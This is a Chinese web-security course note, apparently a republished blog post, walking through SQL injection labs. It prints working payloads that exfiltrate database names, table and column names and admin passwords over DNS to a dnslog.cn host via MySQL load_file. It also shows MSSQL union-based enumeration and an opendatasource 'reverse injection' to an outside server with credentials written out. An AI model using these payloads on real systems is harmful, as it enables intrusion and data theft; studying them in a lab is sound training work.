掌控安全Web安全微专业笔记 (15)

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

三、DNSLOG靶场讲解 1.

:8014/index3.php?id=1 and sleep(10)

对php传参会被拦截

image-20201021143901404

2.

可以换成对1.txr传参,由于找不到,就会找index3.php

:8014/index3.php/1.txt?id=1 and sleep(10)

延迟打开,说明存在注入

3.

:8014/index3.php/1.txt?id=1 and load_file(concat(\'//\',(select database()),\'.v8bfoy.dnslog.cn/abc\'))

获取当前数据库的名字为mangzhu

image-20201021140202653

4.

:8014/index3.php/1.txt?id=1 and load_file(concat(\'//\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),\'.v8bfoy.dnslog.cn/abc\'))

获取当前mangzhu库的表

5.

:8014/index3.php/1.txt
?id=1 and load_file(concat(\'//\',(select column_name from information_schema.columns where table_name=\'admin\' limit 0,1),\'.v8bfoy.dnslog.cn/abc\'))

获取当前admin表的字段名

6.

:8014/index3.php/1.txt
?id=1 and load_file(concat(\'//\',(select password from admin limit 0,1),\'a.v8bfoy.dnslog.cn/abc\'))

获取admin表的password字段

5-4 MSSQL注入 — 反弹注入 一、MSSQL反弹注入使用场景

明明是SQL的注射点却无法进行注射注射工具猜解的速度异常缓慢,
错误提示信息关闭,无法返回注射结果等,这些都是在注射攻击中常常遇到的问题。为了解决以上这些疑难杂症,比较好的解决方法就是使用反弹注射技术,而反弹注射技术则需要依靠 opendatasource函数支持

二、快速搭建一个MSSQL环境(骚姿势)

香港云

免费在线数据库https://my.gearhost.com/CloudSite

数据库操作

三、MSSQL反弹注入语句解析

insert into

插入语句

opendatasource(\'sqloledb\',\'server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq\').DB_14A5E44_zkaq.dbo.temp

服务器.库.表 opendatasource(\'sqloledb\',\'\').库.dbo.表

select*from admin --+

admin里的所有数据

四、MSSQL反弹注入靶场分析 1尝试

:8015/?id=1 and 1=1

image-20201021212521446

从报错可以看出需要闭合单引号,后面注释

2.判断注入点

:8015/?id=1\' and 1=1--+ 页面正常

:8015/?id=1\' and 1=2--+ 页面异常

说明存在注入点

3.判断字段数

:8015/?id=1\' order by 3--+页面正常

:8015/?id=1\' order by 4--+页面异常

说明有3个字段

4.看回显点

:8015/?id=1\' union all select 4,\'a\',\'b\'--+

猜输出点要使用NULL去填充

注释只有 --+ (不要想着#)

image-20201021213015337

可以查看回显点

5.查询表

查看用户创建的表

select*from sysobjects where xtype=\'U\';

image-20201021213835957

:8015/?id=1\' union all select id, name ,null from sysobjects where xtype=\'U\'--+

image-20201021214821520

6.查询admin的字段

查看abc表的字段

select*from syscolumns where id=885578193;

image-20201021214632983

:8015/?id=1\' union all select null,name,null from syscolumns where id=1977058079 --+

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzpdzz.html